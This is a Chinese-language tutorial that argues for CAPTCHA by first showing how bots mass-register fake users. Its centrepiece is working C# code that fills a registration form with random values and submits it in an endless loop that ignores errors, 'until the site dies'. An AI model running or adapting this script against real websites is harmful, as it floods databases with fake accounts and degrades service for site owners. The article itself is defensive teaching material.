防止对您的网站进行攻击






3.21/5 (26投票s)
通过一个简单的例子,我将解释如何防止程序向您的数据库注册成千上万的虚假用户,并影响您的数据库和应用程序性能。
引言
有很多种攻击网站的方法,例如 SQL 注入、注入脚本、Session 劫持等。您可以在 CodeProject 上找到很多关于这方面的文章。在本文中,我将尝试解释使用 CAPTCHA 的方法(我不会解释 CAPTCHA 是什么……如果您尚未实现 CAPTCHA,请在 CodeProject 或 Google 上搜索)。使用 CAPTCHA 可以避免计算机程序向您的数据库注册虚假用户。通过一个简单的例子,我将解释任何程序如何向您的数据库注册成千上万的虚假用户,并影响您的数据库和应用程序性能。
一个可以破坏您网站的示例应用程序
在这里,我们将创建一个 Windows 应用程序并执行测试。我们将使用经典的 COM AxSHDocVw.AxWebBrowser
控件,以及提供 Internet Explorer 完整 HTML 文档对象模型解析的 MSHTML。
在此示例中,我们使用以下 Windows ActiveX 对象。
- mshtml.tlb
- SHDocVw.dll
您可以在“windows/system32”目录中找到它们。
我们将要执行的步骤
- 步骤 1 - 使用 WebBrowser 控件抓取注册页面。
- 步骤 2 - 使用 MSHTML,我们可以找到注册页面的各种表单字段。
- 步骤 3 - 生成随机字段。
- 步骤 4 - 将字段值提交到网站进行注册。
我们将无限次地重复步骤 3 和 4 :)
让我们假设一个网站的注册表单具有以下文本字段。
- UserId
- 名字
- 姓氏
- 密码
- 确认密码
和一个提交按钮。找到每个字段的 ID。在您的普通浏览器中打开注册页面,然后使用“查看源代码”找到每个字段的 ID。
现在让我们进入此应用程序的编码部分。
在表单加载时,将注册页面加载到 WebBrowser。
private void Form1_Load(object sender, System.EventArgs e)
{
//get the registrations page URL
string url="https://:8181/TestApplication1/Registration.aspx";
Object o = null;
//fetch the page to your web browser.
WebBrowser1.Navigate(url, ref o, ref o, ref o, ref o);
}
现在执行代码以注册无限用户。
private void btnRegisterClick_Click(object sender, System.EventArgs e)
{
// use the HTMLDocument interface of mshtml to simulate the registration process
mshtml.HTMLDocument obj;
string tempGuid,userId,firstName,LastName,password=string.Empty;
//execute an infinite loop
while(true)
{
try
{
//get the random values for this user
tempGuid=System.Guid.NewGuid().ToString();
userId=tempGuid.Substring(0,9);
firstName=tempGuid.Substring(3,12);
LastName=tempGuid.Substring(11,10);
password=tempGuid.Substring(10,8);
// assign the values to the form fields.
obj=(mshtml.HTMLDocument)WebBrowser1.Document;
obj.getElementById("txtUserId").innerText=userId;
obj.getElementById("txtFirstName").innerText=firstName;
obj.getElementById("txtLastName").innerText=LastName;
obj.getElementById("txtPassword").innerText=password;
obj.getElementById("txtConfirmPassword").innerText=password;
// find the submit button to post the information to the website
// execute the click of the submit button to post the information
obj.getElementById("btnSubmit").click();
// Note if you can't find the submit button
// by id then use the following approach
// find it by index in the entire HTMLDocument
/*
mshtml.HTMLInputElement objbut;
objbut=(mshtml.HTMLInputElement)obj.all.item("submit",0);
objbut.click();
*/
}
catch
{
// failed :(
// no problem we'll try again( try try until the site die ..)
}
}
我认为上面的代码是不言自明的。
让我们来看解决方案部分
为了避免此类攻击我们的网站,我们需要仅允许人工用户注册,而不允许计算机程序。最好的方法是将扭曲的文本即时写入图像,并让注册者识别图像上写的文字,以便每个人都可以阅读该文本。如上所述,计算机应用程序很难读取图像上扭曲的文本。
一个易受攻击的注册表单。
更安全的注册表单。
要了解有关 CAPTCHA 的更多信息,您可以浏览 The CAPTCHA Project。要在您的 Web 应用程序中实施 CAPTCHA,您可以参考 CodeProject 上发表的关于 CAPTCHA 的各种文章。
结论
通过本文,我只想说明我们应该考虑这些小事,以避免日后发生重大灾难。